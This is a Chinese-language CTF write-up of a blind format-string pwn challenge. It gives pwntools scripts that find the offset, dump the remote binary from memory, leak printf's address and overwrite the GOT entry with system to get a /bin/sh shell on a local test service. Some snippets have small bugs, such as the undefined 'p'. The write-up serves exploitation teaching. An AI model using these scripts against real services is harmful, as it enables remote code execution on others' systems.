1.搭建题目:socat tcp-listen:10001,fork exec:./pingme,reuseaddr &
2.题目不给文件,只有地址和端口,可能是BROP也可能是格式化字符串盲打。连接上先尝试格式化字符串盲打,输入多个%p.%p.%p,可以看到泄露出了数据,那么就应该是格式化字符串盲打。
3.首先利用爆破找到我们输入的参数偏移:
1 2 3 4 5 6 7 8 9 10 11 12 13
| #注释头
from pwn import* io = remote("127.0.0.1",10001) #io = process("./pingme")
def exec_fmt(payload): io.sendline(payload) info = p.recv() return info
auto = FmtStr(exec_fmt) offset = auto.offset
|
偏移为7,验证一下:
4.利用格式化字符串漏洞将二进制文件dump下来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| #注释头
from pwn import*
def dump_memory(start_addr,end_addr): result = "" while start_addr < end_addr: io = remote('127.0.0.1',10001) io.recvline() payload = "%9$s.AAA" + p32(start_addr) io.sendline(payload) data = io.recvuntil(".AAA")[:-4] if data == "": data = "\x00" log.info("leaking: 0x%x --> %s"%(start_addr,data.encode('hex'))) result += data start_addr += len(data) io.close() return result start_addr = 0x8048000 end_addr = 0x8049000 code_bin = dump_memory(start_addr,end_addr) with open("code.bin","wb") as f: f.write(code_bin) f.close()
|
(1)由于是格式化字符串打印,会打印到字符串结尾”\x00”,但是不会打印出”\x00”,所以需要补上”\x00”。
(2)这里的%9$s.AAA中偏移为9,是因为打印的是p32(start_addr)处的内容,前面有%9$s.AAA共八个字节,两个地址单位,所以偏移7+2=9。并且填充AAA也是为了满足地址对齐,同时作为特征点来获取程序传回来的数据。将地址放在后面也是为了防止地址中的”\x00”造成截断。
(3)dump的内容只需要有0x1000这么大就行,一个内存页即可。
(4)没有开启PIE时,32位程序从0x8048000开始。
▲搭建题目时,dump出来的内容可能会有点改变,没办法gdb调试,应该是libc版本或者ASLR的问题,不过不影响,IDA静态分析就好。
5.之后就是常规的格式化字符串漏洞利用了,借助dump下来的文件,找到printf的got表地址,利用格式化字符串打印printf函数真实地址。之后通过DynELF或者LibcSearch来获取system函数在libc中的偏移,利用泄露的printf函数真实地址,得到Libc加载的基地址,再计算得到system函数的真实地址。最后再利用格式化字符串漏洞将system函数真实地址写到printf的got表处,劫持got表。最后再输入binsh字符串即可劫持printf(“/bin/sh”)为system(“/bin/sh”)。
(1)泄露printf函数真实地址:
1 2 3 4 5 6 7 8 9 10 11
| #注释头
def get_printf_addr(): io = remote('127.0.0.1', '10001') io.recvline() payload = "%9$s.AAA" + p32(printf_got) io.sendline(payload) data = p.recvuntil(".AAA")[:4] log.info("printf address: %s" % data.encode('hex')) return data printf_addr = get_printf_addr()
|
(2)计算或者DynELF得到system函数真实地址system_addr。
(3)利用格式化字符串漏洞进行attack
1 2 3 4 5 6 7
| payload = fmtstr_payload(7, {printf_got:system_addr}) io = remote('127.0.0.1', '10001') io.recvline() io.sendline(payload) io.recv() io.sendline('/bin/sh') io.interactive()
|
参考资料:
https://www.dazhuanlan.com/2019/10/08/5d9c20226a067/